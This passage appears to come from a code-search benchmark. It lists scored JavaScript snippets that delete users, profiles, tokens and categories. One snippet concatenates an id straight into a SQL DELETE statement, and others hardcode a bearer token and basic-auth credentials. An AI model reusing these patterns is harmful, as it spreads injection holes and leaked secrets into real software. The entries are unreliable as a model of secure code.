deferred.reject(err);\n\n //console.log(user.profilePicUrl);\n\n if(user.profilePicUrl){\n fs.unlink('profile_pictures/'+user.profilePicUrl, function (err) {\n if (err) deferred.reject(err);\n });\n }\n\n db.users.remove(\n { _id: mongo.helper.toObjectID(_id) },\n function (err) {\n if (err) deferred.reject(err);\n \n deferred.resolve();\n });\n\n });\n \n return deferred.promise;\n}", "title": "" }, { "docid": "3430dcc36fbc41130bb1495729376e09", "score": "0.60849243", "text": "function deleteFacebookMembershipIdentity(msg,data) {\n\t\t\t\tif (data[0] && data[0].id) {\n\t\t\t\t\tmembership.deleteData({\n\t\t\t\t\t\tauthorization:authcode.get(),\n\t\t\t\t\t\tcontentType:\"application/json\",\n\t\t\t\t\t\tmessages:{\n\t\t\t\t\t\t\tsuccess:\"membership.test.success.facebook.identity.delete\",\n\t\t\t\t\t\t\tfailure:\"membership.test.failure.facebook.identity.delete\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\turl:s.servers.ids+\"/core/api/\"+s.apiVersion.ids+\"/identity/FACEBOOK/\"+data[0].id\n\t\t\t\t\t});\n\t\t\t\t}\n\t\t\t}", "title": "" }, { "docid": "8e77ee4e4320bacb88e373f761a83a4a", "score": "0.60769266", "text": "function deletePreferences() {\n PropertiesService.getUserProperties().deleteAllProperties();\n}", "title": "" }, { "docid": "7cd8e7081fc78622f1adb0314fd03afa", "score": "0.6071596", "text": "function removeUserAccount(api, id) {\n return api_1.DELETE(api, `/users/${id}`)\n}", "title": "" }, { "docid": "9f1c08610dc476afd3453c759de6336f", "score": "0.60467625", "text": "async destroy() {\n const { ctx, service } = this;\n const params = getParams(ctx, 'body');\n const condition = Object.assign({}, params);\n const res = await service.user.crud({\n type: 'deleteOne',\n condition,\n });\n ctx.body = res;\n }", "title": "" }, { "docid": "4fbebe76c35ef899cbab4b1fad20abb2", "score": "0.6030087", "text": "async destroy({ request }) {\n\n const data = request.body\n const profile = await Profile.find(data.id)\n\n if (profile) {\n\n await profile.delete()\n\n return (\n\n response.status(200),\n Message.messageOk('Perfil deletado')\n\n )\n\n } else {\n\n return (\n\n response.status(404),\n Message.messageNotFound('Perfil não encontrado')\n\n )\n\n }\n\n /*\n const profile = await Profile.find(params.id)\n \n if (profile) {\n await profile.delete()\n return Message.messageOk('deleted')\n \n } else {\n return Message.messageNotFound(`Not Found profile ${params.id}`)\n }\n */\n\n }", "title": "" }, { "docid": "6984062acdf4edcc1942e5a033d677e9", "score": "0.60280985", "text": "static deleteUser(req, res) {\n let id = +req.params.id\n User.destroy({\n where: {id}\n })\n .then(data => {\n res.redirect('/users')\n })\n .catch(err => {\n res.send(err)\n })\n }", "title": "" }, { "docid": "730efa8d8087f3a8451e65f7edcd02d8", "score": "0.6024422", "text": "function deleteProvider(req,res){\n providers.findOneAndRemove({firstName: req.params.firstName}, (err) =>{\n if(!err) {\n res.send(\"User was deleted\");\n } \n });\n}", "title": "" }, { "docid": "f73d6aca5e10ffd8799c8815cd79e7c2", "score": "0.6022666", "text": "function deleteUseraccount() {\n data = \"name=\" + String($(\".username.act\").html()) + \"^class=User\";\n dbOperations(\"user\", \"delete_operation\", data);\n $(\"li.actparent\").remove();\n $(\"#userhistorypane\").css(\"opacity\", \"0\");\n check_for_active_row(\"username\", \"acc\");\n $(\"#userhistorypane\").animate({\n opacity: 1\n });\n\n}", "title": "" }, { "docid": "19ff60514d41f47b2aee991a003ca563", "score": "0.6018158", "text": "DeleteUser(req, res) {\n let email = req.params['id'];\n this.UserDB.delete({ email })\n .then(result => res.status(200).json(result))\n .catch(error => res.status(404));\n }", "title": "" }, { "docid": "ca6c34d2dc4e8702a69de753ab83cc0c", "score": "0.6009559", "text": "function deleteData() {\n return deleteType(USER_T);\n}", "title": "" }, { "docid": "ea7d2da3d54d398a9a950b478511ccdb", "score": "0.6005381", "text": "function destroy(req, res) {\n db.User.findOneAndRemove({_id: req.params.id}, function(err, user) {\n console.log('sever error ', err)\n res.send(\"Successfully deleted!\")\n });\n}", "title": "" }, { "docid": "2c05f32120349713b4c729c8ddfbef87", "score": "0.60050565", "text": "logout() {\n localStorage.removeItem('user');\n }", "title": "" }, { "docid": "76a6e82bcc1e27aa1d33b467af2ea3d3", "score": "0.5995782", "text": "function removeUserInfo() {\n ssoClient.removeUserInfo();\n}", "title": "" }, { "docid": "9ba6f9e4fdf38e79315a99bb6ed93d7d", "score": "0.59902626", "text": "function eliminarPersona(user,res){\n tb_persona.connection.query(\"DELETE FROM persona WHERE id=\" + user.id);\n res.send();\n}", "title": "" }, { "docid": "a4b242ec33ff50de9ca64a16cc07f73b", "score": "0.5988158", "text": "function deleteUserLocal(){\n try\n {\n return LocalStorage.removeObject(Constants.USER);\n \n }\n catch(err)\n {\n return {};\n }\n }", "title": "" }, { "docid": "36086119b4547f6f0acfb878ddffc95d", "score": "0.5986259", "text": "delete(requisicao, resposta, next){\n try{\n const postgre = new postgresDB();\n const response = postgre.deleteUser(requisicao, resposta, next);\n return response;\n }\n catch(error){\n resposta.status(503).send(error);\n }\n }", "title": "" }, { "docid": "2d7fe98f6deb04a1671cde7131b6040f", "score": "0.5984035", "text": "logout() {\n localStorage.removeItem(\"user\");\n }", "title": "" }, { "docid": "bdff79538a66dcd63c04e0dfff53ee67", "score": "0.59790915", "text": "async deleteUser(parent, {\n id\n }, context, info) {\n try {\n const deletedUser = await context.prisma.user.delete({\n where: {\n id\n }\n }); // console.log(deletedUser)\n\n return \"user deleted successfully\";\n } catch (error) {\n return error;\n }\n }", "title": "" }, { "docid": "ab7023fab02c6dbb5130ba6386688259", "score": "0.59774166", "text": "function deleteFacebookUserLocal(){\n try\n {\n return LocalStorage.removeObject(Constants.USER_FACEBOOK);\n \n }\n catch(err)\n {\n return {};\n }\n }", "title": "" }, { "docid": "7df2aa2d97e8c50653821a5b10f981e9", "score": "0.5959464", "text": "function removeUser(id) {\n if(id === -1) {\n showSnackbar(\"You cannot remove the Guest user!\", ERROR);\n return;\n }\n if (confirm(\"Are you sure you want to remove all data linked to this user?\")) {\n var url = \"remove_user.php?id=\" + id;\n\n executeStatement(url, \"Successfully removed\", \"[Remove user] Error \", getData);\n }\n}", "title": "" }, { "docid": "a3e51f85062e4612010efdca55b8f9a3", "score": "0.5955274", "text": "deleteAPIClubMember(profiles){\n\n const API_URL = 'http://api.local.sporteasy.net:8000/v2.1/clubs/' + this.props.club_id + '/profiles/';\n\n fetch(API_URL, {\n method: \"DELETE\",\n credentials: 'include',\n headers: {\n 'Content-Type': 'application/json',\n 'Authorization': 'Bearer fc1c759891085a50a296af72a74a6f93767e2ab1',\n },\n body: JSON.stringify({\n profiles: profiles,\n }),\n })\n .then(response =>\n response.json()\n )\n .then(json_response =>\n console.log(json_response),\n console.log(\"deleted\"),\n window.location.reload(),\n )\n }", "title": "" }, { "docid": "85f7d7222b82bc87389e2178c55188a9", "score": "0.5948149", "text": "static removeUserFromBrowser() {\n localStorage.removeItem(AuthUtils.USER_KEY);\n }", "title": "" }, { "docid": "e1e58128c0909306a52b9553397bd25d", "score": "0.5945033", "text": "function deleteProfile(templateId, profileId) {\n\tlog(\"Request to delete profile <\" + profileId + \"> for template <\" + templateId + \">\");\n\t$(\"#profile-deleting\").show();\n\t// Clear any existing error text\n\t$('#profile-delete-errors').html(\"\");\n\t\n\tvar csrfToken = $('input[name=\"_csrf\"]').val();\n\t$.ajax({\n method: 'DELETE',\n url: '/tempss/api/profile/' + templateId + '/' + profileId,\n beforeSend: function(jqxhr, settings) {\n \tjqxhr.setRequestHeader('X-CSRF-TOKEN', csrfToken);\n },\n dataType: 'json',\n success: function(data) {\n \t// Check if save succeeded\n \tif(data.status == 'OK') {\n \t\t// Close the modal and update the profile list since \n \t\t//save completed successfully.\n \t\t$('#delete-profile-modal').modal('hide');\n \t\t$('#delete-confirm-text').html(\"\");\n \t\tupdateProfileList(templateId);\n \t}\n \telse {\n \t\t$('#profile-delete-errors').html(\"<h6>An unknown error has occurred while trying to delete the profile.</h6>\");\n \t}\n \t$(\"#profile-deleting\").hide();\n },\n error: function(data) {\n \tvar result = $.parseJSON(data.responseText);\n \tif(data.status == 403) {\n \t\tlog('Profile deletion failed - you do not have permission to '+\n \t\t\t'delete this profile.');\n \t\t/*\n \t\tBootstrapDialog.show({\n \t\t\ttype: BootstrapDialog.TYPE_DANGER,\n title: 'Unable to delete profile',\n \t\t\tmessage: 'You do not have permission to delete this ' +\n 'profile. To delete a profile you must be ' + \n 'logged in and have created the profile.',\n \n buttons: [{\n label: 'Close',\n cssClass: 'btn-danger',\n \taction: function(dialog){\n $('#delete-profile-modal').modal('hide');\n \t\tdialog.close();\n }\n }],\n });\n */\n \t\t$('#profile-delete-errors').html(\"<h6>Unable to delete \" +\n \t\t\t\t\"profile: 'You do not have permission to delete this \" +\n \"profile. To delete a profile you must be \" + \n \"logged in and have created the profile.</h6>\");\n \t}\n \telse if(result.status == 'ERROR') {\n \t\t// An error occurred, show the error message in the modal\n \t\tvar errorText = \"\";\n \t\tswitch(result.code) {\n \t\tcase 'INVALID_TEMPLATE':\n \t\t\terrorText = \"An invalid template identifier has been specified.\";\n \t\t\tbreak;\n \t\tcase 'PROFILE_DOES_NOT_EXIST':\n \t\t\terrorText = \"The specified profile does not exist.\";\n \t\t\tbreak;\n \t\tcase 'PROFILE_NOT_DELETED':\n \t\t\terrorText = \"The specified profile could not be deleted.\";\n \t\t\tbreak;\n \t\tcase 'MULTIPLE_PROFILES_DELETED':\n \t\t\terrorText = \"ERROR: Multiple profiles deleted.\";\n \t\t\tbreak;\n \t\tcase 'RESPONSE_DATA':\n \t\t\terrorText = \"Unable to prepare JSON response data. Profile may have been successfully deleted\";\n \t\t\tbreak;\n \t\tdefault:\n \t\t\terrorText = \"An unknown error has occurred.\";\n \t\t}\n \t\t$('#profile-delete-errors').html(\"<h6>Unable to delete profile: \" + errorText + \"</h6>\");\n \t}\n \t\telse {\n \t\t$('#profile-delete-errors').html(\"<h6>An unknown error has occurred while trying to delete the profile.</h6>\");\n \t}\n \t$(\"#profile-deleting\").hide();\n }\n\t});\n\t\n}", "title": "" }, { "docid": "228199f813103ca2bed2b0ea6ba05f23", "score": "0.59402573", "text": "deleteUserWithSameParams() {\n cy.okapiRequest({\n method: 'DELETE',\n path: `users/${DefaultUser.defaultUiPatron.body.id}`,\n });\n cy.okapiRequest({\n method: 'DELETE',\n path: `groups/${DefaultUser.defaultUiPatron.body.patronGroup}`,\n });\n }", "title": "" }, { "docid": "984da04c382f3db55bd6f27135ab77ad", "score": "0.59358305", "text": "remove() {\n const user = this.attrs.user;\n\n this.loading = true;\n m.redraw();\n\n app\n .request({\n method: 'DELETE',\n url: `${app.forum.attribute('apiUrl')}/users/${user.id()}/avatar`,\n })\n .then(this.success.bind(this), this.failure.bind(this));\n }", "title": "" }, { "docid": "3391f21554146fd778c0aee09d7301e0", "score": "0.59331405", "text": "deleteSession(){\n if (localStorage.getItem(\"user\") === null) {\n \n }\n else\n localStorage.removeItem(\"user\");\n localStorage.removeItem(\"roleid\");\n\n }", "title": "" }, { "docid": "70950b99ae9ba8179dc4a7ab1b2bd337", "score": "0.5924435", "text": "deleteUser(user) {\n if(user.privilege === global.SUPER_ADMIN) {\n console.log(\"Errr! You are trying to delete a super admin user\");\n return 401;\n }\n user = null;\n return user;\n }", "title": "" }, { "docid": "227eceaaa94f643d9c946f99fd0ac8bf", "score": "0.59207267", "text": "function deleteUser(id) {\n\taddOverLay();\n\t$.ajax({\n\t\turl : HOST_PATH + \"admin/user/deleteUser\",\n\t\tmethod : \"post\",\n\t\tdata : {\n\t\t\t'id' : id\n\t\t},\n\t\tdataType : \"json\",\n\t\ttype : \"post\",\n\t\tsuccess : function(data) {\n\t\t\tif (data != null) {\n\t\t\t\twindow.location.href = \tHOST_PATH + \"admin/user/\";\n\t\t\t\t//alert('Record has been deleted');\n\n\t\t\t} else {\n\n\t\t\t\tbootbox.alert('Problem in your data');\n\t\t\t}\n\t\t\t//getUserListFromTrash();\n\t\t}\n\t});\n\t\n}", "title": "" }, { "docid": "b5ac6901aa52c7cdf655e2389d03cb9f", "score": "0.59184426", "text": "function logout(){\n localStorage.removeItem('users');\n}", "title": "" }, { "docid": "c147c6e00fdfb748269c136ff79dcd84", "score": "0.591296", "text": "function deleteUserAndSignUpAgain() {\n // Delete the user by email\n axios.post('/api/signup/deleteUser', { email })\n .then(res => {\n if (res.data.error) return setLoginError(res.data.error);\n redirect('/signup');\n setUsername(username);\n setNotification(false);\n setLoginMessage(res.data.message);\n setLoginDropdown(true);\n })\n .catch(err => {\n // gtting an error here\n console.log('err in notification.jsx', err.response);\n })\n }", "title": "" }, { "docid": "2f808c9592bfb223087154cb3f67cf70", "score": "0.5911799", "text": "logOutUser() {\n this.__userAdmin__ = null\n this.__userToken__ = null\n this.removeStorage()\n window.location.reload()\n }", "title": "" }, { "docid": "0531373cd6f3520e45ee64b0fd11366d", "score": "0.59100175", "text": "async delete(data, cb) {\n\t\tconst phone = normalizePhone(data.payload.phone) || false\n\t\tif (!phone) {\n\t\t\treturn cb(400, {'Error': 'Missing required field'})\n\t\t}\n\n\t\tconst userData = await _data.read('users', phone) || false\n\t\tif (!userData) {\n\t\t\treturn cb(400, {'Error': 'No user with this phone number'})\n\t\t} else {\n\t\t\ttry {\n\t\t\t\tawait _data.delete('users', phone)\n\t\t\t\tcb(204)\n\t\t\t} catch (error) {\n\t\t\t\tconsole.error(error)\n\t\t\t\tcb(500, {'Error': 'Could not delete user'})\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "55b6fdf6b7c1c5a214df363128934a26", "score": "0.59076935", "text": "static deauthenticateUser() {\n localStorage.removeItem('token');\n localStorage.removeItem('role');\n localStorage.removeItem('username');\n Auth.onAuthenticationStatusChange(false);\n }", "title": "" }, { "docid": "e5e8d26a12f97c44fb28f4ed39929807", "score": "0.59039116", "text": "deleteUserApiToken() {\n this.__userApiToken__ = null\n sessionStorage.removeItem('freendies-user-token')\n }", "title": "" }, { "docid": "76dc371d36d4b77226de6d180fdf75ec", "score": "0.5897584", "text": "function removeAccount(user, cb) {\n pg.connect(conn, function (err, client) {\n\tif (err) {\n\t throw err;\n\t}\n\tclient.query('DELETE FROM users WHERE name=$1;', [user]);\n\tclient.query('DELETE FROM dests WHERE name=$1;', [user],\n\t\t function (err, result) {\n\t\t\t cb (err, result);\n\t\t });\n });\n}", "title": "" }, { "docid": "df73ad2398c8917e2c617b7cc9917951", "score": "0.58929926", "text": "function logout() {\n delete $localStorage.currentUser;\n $window.location.reload();\n }", "title": "" }, { "docid": "ec123c2567d53d83613d8b7978d2a7ca", "score": "0.5886657", "text": "function logout() {\n localStorage.removeItem('user');\n}", "title": "" }, { "docid": "c3ee17a81387aec2bddba7141b882ba0", "score": "0.588619", "text": "function deleteUser(req, res) {\n var id = req.params['id'];\n typeModel.deleteAdmin(id)\n .then(res.sendStatus(200))\n }", "title": "" }, { "docid": "62c45e0cdc73206039e485bc9064524d", "score": "0.58802444", "text": "function userDelete(req, cb){\n var email = req.body['email'] || req.user.email;\n log.info(\"user delete: \" + email + (email != req.user.email?\"(from: \"+req.user.email+\")\":\"\"));\n if(email != req.user.email && !req.user.isAdmin) return cb(errorsList['need-admin']);\n users.deleteAccount(email , cb);\n}", "title": "" }, { "docid": "a79718dabce0c9d08e8f44777013d1c6", "score": "0.5879995", "text": "function deleteLogin () {\n\tlocalStorage.removeItem(\"login\");\n}", "title": "" }, { "docid": "d10f4b5756d65d99db7d071099d6a85f", "score": "0.587517", "text": "logout () {\n // Clear access token and ID token from local storage\n localStorage.removeItem('access_token')\n localStorage.removeItem('id_token')\n localStorage.removeItem('expires_at')\n this.userProfile = null\n this.authNotifier.emit('authChange', false)\n // navigate to the home route\n router.replace('/')\n }", "title": "" }, { "docid": "4bb9df2347f849c9fabcc6fde209714f", "score": "0.5874576", "text": "async function destroy(username) {\r\n await request\r\n .del(reqURL(`${config.routes.user.delete}/${username}`))\r\n .withCredentials()\r\n .set(\"Content-Type\", \"application/json\")\r\n .set(\"Accept\", \"application/json\")\r\n .auth(\"team\", \"DHKHJ98N-UHG9-K09J-7YHD-8Q7LK98DHGS7\");\r\n log(`destroy:${username}`);\r\n}", "title": "" }, { "docid": "83200a44ad8639848004aaabcccb9030", "score": "0.5870874", "text": "function deleteUser(id) {\n var xhttp;\n xhttp = new XMLHttpRequest();\n xhttp.onreadystatechange = function() {\n if (this.readyState == 4 && this.status == 200) {\n getUsers();\n }\n };\n \n xhttp.open(\"DELETE\", \"http://localhost:8080/api/user/userRemoval/\" + id, true);\n xhttp.setRequestHeader(\"Content-type\", \"application/json\");\n xhttp.send();\n }", "title": "" }, { "docid": "3420216239f823f2fe2a54a024ab20b0", "score": "0.5870347", "text": "function deleteUser(userKey) {\n\t//\n\tvar firebaseRemoveRef = firebase.database().ref(\"Users/\"+userKey);\n\tfirebaseRemoveRef.remove().then(function(){\n\t\tconsole.log(\"ok\");\n\t}).catch(function(error){\n\t\tconsole.log(\"Falha: \"+error.message)\n\t});\n\tshowData();\n}", "title": "" }, { "docid": "ba71f447335357d4e4dd614aedfa941b", "score": "0.5868535", "text": "function delete_account() {\n\tvar username = $('#deleteuser').val();\n\tusername_exist(username).then(function() {\n\t\tdelete_user(username).then(function() {\n\t\t\tif (username===localStorage.getItem('username')) {\n\t\t\t\tcurrent_stage=\"login\";\n\t\t\t\tswitch_stage();\n\t\t\t\tlogout();\n\t\t\t}\n\t\t\tdelete_stats(username).then(function() {\n\t\t\t\talert(username+ \" deleted!\");\n\t\t\t\tdelete_adminkey(username).then(function() {\n\t\t\t\t\tcurrent_stage=\"login\";\n\t\t\t\t\tswitch_stage();\n\t\t\t\t}).catch(function(err) {\n\t\t\t\t\tconsole.log(err);\n\t\t\t\t})\n\t\t\t}).catch(function(err) {\n\t\t\t\tconsole.log(err);\n\t\t\t})\n\t\t}).catch(function(err) {\n\t\t\tconsole.log(err);\n\t\t})\n\t}).catch(function(err) {\n\t\talert(\"Can't delete \"+username+\" does not exist\");\n\t\tconsole.log(\"Can't delete \"+username+\" does not exist\");\n\t});\n}", "title": "" }, { "docid": "1a0fbe3d54c58428efa804306ed97e0b", "score": "0.5859625", "text": "static logout() {\n localStorage.removeItem('auth_token');\n localStorage.removeItem('email');\n localStorage.removeItem('userid');\n localStorage.removeItem('username');\n }", "title": "" }, { "docid": "34cd72e4a661cd3d1af3f1fbc7d36939", "score": "0.5854827", "text": "function deleteUser(req, res) {\n User.findByIdAndRemove(req.params.id, function (err, user) {\n if (err) return res.status(500).send(\"There was a problem deleting the user.\");\n res.status(200).send(\"User: \" + user.name + \" was deleted.\");\n });\n}", "title": "" }, { "docid": "ee65a40d26de9a27323caf2c00381d76", "score": "0.58532786", "text": "function deleteUser() {\n // TODO: needs to not logout user if catch is trigered\n axios.delete(`https://${serverEndpoint}/user/${user.user_id}`)\n .catch((error) => {\n // TODO: This code should be ofloaded to a helper function\n if (error.response) {\n // The request was made and the server responded with a status code\n // that falls out of the range of 2xx\n console.log(error.response.data);\n console.log(error.response.status);\n console.log(error.response.headers);\n } else if (error.request) {\n // The request was made but no response was received\n // `error.request` is an instance of XMLHttpRequest in the browser and an instance of\n // http.ClientRequest in node.js\n console.log(error.request);\n } else {\n // Something happened in setting up the request that triggered an Error\n console.log('Error', error.message);\n }\n console.log(error.config);\n });\n window.sessionStorage.clear();\n accountService.logout();\n }", "title": "" }, { "docid": "345f3051b2ccd0de0a1149b8f9694ebe", "score": "0.5844692", "text": "function deleteUserToken() {\n setCookie('token', '', 0);\n}", "title": "" }, { "docid": "5f71fd74b3947acfd9fe863e0c6a38a8", "score": "0.5834534", "text": "function deleteData() {\n localStorage.clear();\n alert(\"Your user data has been deleted\");\n\t\n}", "title": "" }, { "docid": "b76e97fde5c3a0c5c78c04eb41ea703e", "score": "0.58289355", "text": "function deleteUser(id) {\n return fetch(`${self.url}/${id}`, {method: \"DELETE\"})\n }", "title": "" }, { "docid": "652124190f98c159b79524948dbabee1", "score": "0.5827877", "text": "destroyUserLS() {\n localStorage.removeItem('logedUser');\n }", "title": "" }, { "docid": "97bf3fe1fa2ad082b1c0450c9d752db8", "score": "0.58230054", "text": "function destroy(req, res) {\n db.User.findOneAndRemove({_id: req.params.userId}, function(err, user) {\n console.log('sever error ', err)\n res.send(\"Successfully deleted!\")\n });\n}", "title": "" }, { "docid": "1997fa241f26216498c538340317a458", "score": "0.58179194", "text": "async delete({response, session, params}){\n const user = await User.find(params.id)\n\n await user.delete()\n\n session.flash({message: 'User has been removed!'})\n return response.redirect('back')\n }", "title": "" }, { "docid": "385b2d4279b0b2f9828726b13da7a081", "score": "0.5817693", "text": "function logout(){\n localStorage.removeItem('user_email');\n localStorage.removeItem('user_token');\n localStorage.clear();\n }", "title": "" } ]
b42f9dcd4b8855652fc25a2f39885f3e
Ajax delete one category
[ { "docid": "3036843653cb6be820c70fc504bf9b42", "score": "0.7689509", "text": "function deleteCategory(){\n if (!confirm(\"Are you sure ?\")) return false;\n var id = categoryIdFromRow($(this).parent().parent());\n var tr = $(this).parent().parent();\n $.ajax({\n type: 'post',\n url: baseUrl +'/index.php?r=Core/category/delete',\n data: 'SID=Cms.Category.delete&categoryId='+id,\n success: function(json){\n result = eval(json);\n if(result.errors.length == 0){\n alert(\"Category is deleted.\");\n updateChildrenCount(tr.attr('rel'), false);\n $(tr).remove();\n }else{\n var error = '';\n for(var i in result.errors)\n error += result.errors[i]+'\\n';\n alert(error);\n }\n }\n });\n \n return false;\n}", "title": "" } ]
[ { "docid": "39493eac3b3e797b7cb04b6e85f894a3", "score": "0.8132477", "text": "function deleteCategory() {\n $.ajax({\n url: 'api/categories/' + category_id,\n type: 'DELETE',\n success: function() {\n showAlert('A category has been deleted!', 'success');\n getCategories();\n },\n error: function() {\n showAlert('Sorry, Something wrong went on!', 'error');\n }\n });\n}", "title": "" }, { "docid": "697bb20a71f388c559995f96ece3dcb9", "score": "0.77947927", "text": "function deleteCategory(id){\n\t\t$.ajax({\n\t\t\turl: '/api/categories'+id,\n\t\t\tmethod: 'DELETE',\n\t\t\tdataType:'json',\n\t\t}).done(function(response, status){\n\t\t\tvar delete_id=\"#\"+id;\n\t\t\t$(delete_id).remove();\n\t\t\tconsole.log(response, status);\n\t\t\talert(\"카테고리를 삭제 했습니다.\");\n\t\t}).fail(function(jQueryXhr, status){\n\t\t\tconsole.log(jQueryXhr, status);\n\t\t\talert(\"카테고리 삭제를 실패했습니다. \\n\\n HTTP Status Code: \"+ status);\n\t\t});\n\t}", "title": "" }, { "docid": "3cd47f1c8369dd48fbce0fd24c4ac27b", "score": "0.7669842", "text": "function deleteCategory() {\r\n let categoryId = this.parentElement.getAttribute('data-category-id')\r\n\r\n fetch(`http://localhost:3000/categories/${categoryId}`, {\r\n method: 'DELETE'\r\n })\r\n .then(resp => resp.json())\r\n .then(json => {\r\n let selectedCategory = document.querySelector(`.card[data-category-id=\"${categoryId}\"]`)\r\n selectedCategory.remove()\r\n })\r\n}", "title": "" }, { "docid": "930ff31c49e5e6243fc3814cb0177051", "score": "0.7578673", "text": "function deleteSelectedCategory(){\n $(\"#queryMessage\").empty();\n categoryName = $(\"#categoryName\").val();\n\n $.ajax({\n url: \"categoryManager/deleteCategory\",\n type: \"POST\",\n data: {categoryName:categoryName},\n\n success: function(data) {\n $(\"#queryMessage\").html(data);\n }\n });\n\n listDeleteCategories();\n}", "title": "" }, { "docid": "48c0af02a4cb439bdd17c04d9e5ebbe6", "score": "0.75677824", "text": "removeCategory(category) {\n this.id = category.cat_id;\n $('#category-modal').modal('hide');\n axios.delete(sglabUrl.category + this.id)\n .then((response) => {\n alert('Deleted successfully');\n window.location.href = 'category.html'\n })\n }", "title": "" }, { "docid": "6908906de985195a7f51f4c978c7b1ef", "score": "0.748533", "text": "function categoryToDelete(category) {\n\tif (confirm('Möchten Sie die Kategorie \"' + category + '\" wirklich löschen. Das System wird dann nicht mehr nach Schlagwörtern aus dieser Kategorie suchen. Die bisherigen Daten bleiben in der Datenbank erhalten und können weiterhin eingesehen werden.')) {\n\t\t$.ajax({\n\t\t\ttype: 'DELETE',\n\t\t\turl: '/api/deleteCategory',\n\t\t\tdata: '{\"category\":\"' + category + '\"}',\n\t\t\tcontentType: 'application/json'\n\t\t}).then(function() {\n\t\t\t\t$.get(\"/api/keywords\", function(data) {\n\t\t\t\t\tlocalData.keywords = data;\n\t\t\t\t\treloadKeywords();\n\t\t\t\t\tshowAlert(\"Kategorie \" + category + \" gelöscht!\", Level.Success, 1000);\n\t\t\t\t});\n\t\t\t},\n\t\t\tfunction(error) {\n\t\t\t\tshowAlert(error.responseJSON.err.de, Level.Warning, 4000);\n\t\t\t});\n\t}\n}", "title": "" }, { "docid": "6369d4feb95d168c4cf322ce60d91dd7", "score": "0.71808267", "text": "function deleteCategory(id) {\n\t\n\tbootbox.confirm(\"Are you sure you want to permanently delete this record?\",'No','Yes',function(r){\n\t\tif(!r){\n\t\t\t\n\t\t\treturn false;\n\t\t} else {\n\t\t\taddOverLay();\n\t\t\t$.ajax({\n\t\t\t\turl : HOST_PATH+\"admin/category/deletecategory\",\n\t\t\t\ttype : \"POST\",\n\t\t\t\tdata : \"id=\"+id\n\t\t\t}).done(function(msg) {\n\t\t\t\t\n\t\t\t\twindow.location = HOST_PATH + 'admin/category';\n\t\t\t\t\n\t\t }); \n\t\t}\n\t\t\n\t});\n\t\n}", "title": "" }, { "docid": "b9d3149f56744dcafb35774042c7efed", "score": "0.7155694", "text": "function borrarElementoCategory(idElemento){\n let myData={\n id:idElemento\n };\n let dataToSend=JSON.stringify(myData);\n $.ajax({\n url:\"http://144.22.241.63:8080/api/Category/\"+idElemento,\n type:\"DELETE\",\n data:dataToSend,\n contentType:\"application/JSON\",\n datatype:\"JSON\",\n success:function(respuesta){\n $(\"#resultadoCategory\").empty();\n traerInformacionCategory();\n alert(\"Categoria Eliminada con Exito.\")\n }\n });\n}", "title": "" }, { "docid": "89cd8df9025b45b064aaf9394943f36f", "score": "0.7136363", "text": "function delete_category(category_id){\n jQuery('#delete-category-form').attr('action', jQuery('#delete_category_action').val()+category_id);\n jQuery('#deleteCategory').modal('show');\n}", "title": "" }, { "docid": "9686c96465bd85780cb1719fdde66bb1", "score": "0.70724446", "text": "function delCategory(url,name,id) {\n\t$.ajax({type:'POST', dataType:'json', url:url, data:'cate_name='+name, timeout:3000,\t\n\t\tsuccess:function (data) {\n\t\t\t$('#delCate_'+id).attr('title',data.info);\n\t\t\t$('#delCate_'+id).popover('show');\t\t\t\t\n\t\t\tif(data.status){setTimeout(function(){ window.location.reload();},3000)};\n\t\t}\n\t});\n}", "title": "" }, { "docid": "1a87c24457f9b3cd02056c98d2701805", "score": "0.7050142", "text": "function delete_cat(id) {\n if ($('#ste').val() < 1) {\n alert(\"Please select an ST&E\");\n return;\n }\n if (!confirm(\"Are you sure you want to delete this category? Currently assigned targets will be set to the 'Unassigned' category.\")) {\n return;\n }\n\n $.ajax('/ajax.php', {\n data: {\n action: 'delete-cat',\n ste_id: $('#ste').val(),\n cat_id: id\n },\n success: function (data) {\n if (data.error) {\n alert(data.error);\n }\n else {\n location.reload();\n }\n },\n error: function (xhr, status, error) {\n console.error(error);\n },\n dataType: 'json',\n method: 'post',\n timeout: 3000\n });\n}", "title": "" }, { "docid": "bd39f16663734c7ee1ebb31c342328bb", "score": "0.70411557", "text": "deleteCat(){\n fetch(`http://localhost:3000/cats/${this.id}`, {\n method:\"DELETE\"\n }).then(res => res.json())\n .then(cat => {\n // console.log(cat)\n document.querySelector(`#cat-${this.id}`).remove()\n })\n }", "title": "" }, { "docid": "93d9941d1ef9f728f7e78cedba17bda3", "score": "0.6929306", "text": "function deleteCategory(id) {\n\t\n\tbootbox.confirm(__(\"Are you sure you want to permanently delete this record?\"),__('No'),__('Yes'),function(r){\n\t\tif(!r){\n\t\t\treturn false;\n\t\t} else {\n\t\t\t$.ajax({\n\t\t\t\ttype : \"POST\",\n\t\t\t\turl : HOST_PATH+\"admin/category/deletecategory\",\n\t\t\t\tdata : \"id=\"+id\n\t\t\t}).done(function(msg) {\n\t\t\t\t\n\t\t\t\twindow.location = HOST_PATH + 'admin/category';\n\t\t\t\t\n\t\t }); \n\t\t}\n\t\t\n\t});\n\t\n}", "title": "" }, { "docid": "a478253e63444146048cb431c23578a3", "score": "0.68876606", "text": "async delete(req, res){\n const id = req.body.id\n\n // Delete category\n await Category.destroy({\n where: {\n id: id\n }\n })\n\n res.redirect('/admin/categories')\n }", "title": "" }, { "docid": "148e874582a4bf7ddd76bc1f15656e22", "score": "0.6882841", "text": "function removeStyle(id){\n $.ajax({\n url:api_url+'deleteBlogCategory.php',\n type:'POST',\n data:{\n categoryId:id\n },\n dataType:'json',\n beforeSend: function() {\n $(\".preloader\").show();\n // console.log(\"before\");\n },\n success:function(response){\n\n if(response.Responsecode==200){\n $(\"#showtable\").show();\n $(\"#showform\").hide();\n blogcategorytableData.delete(id.toString());\n setcategorymaster(blogcategorytableData);\n alert(response.Message);\n }\n else{\n // alert(response.Message);\n alert(\"Already Used Can't Delete\");\n }\n },\n complete:function(response){\n\n // console.log(\"after\");\n $(\".preloader\").hide();\n }\n });\n}", "title": "" }, { "docid": "ddf6a4b67b297f109b28bc745add9d14", "score": "0.6802488", "text": "function deleteProdCat(res, mysql, complete, cat_id){\n var sql = \"DELETE from Category WHERE cat_id=?;\";\n var inserts = [cat_id];\n mysql.pool.query(sql, inserts, function(error, results, fields){\n if(error){\n res.write(JSON.stringify(error));\n res.status(400);\n res.end();\n }\n complete();\n });\n }", "title": "" }, { "docid": "18d29172c4d323ba1f2961de3151a94f", "score": "0.67566526", "text": "deleteCat(cat) {\n console.log('cat being 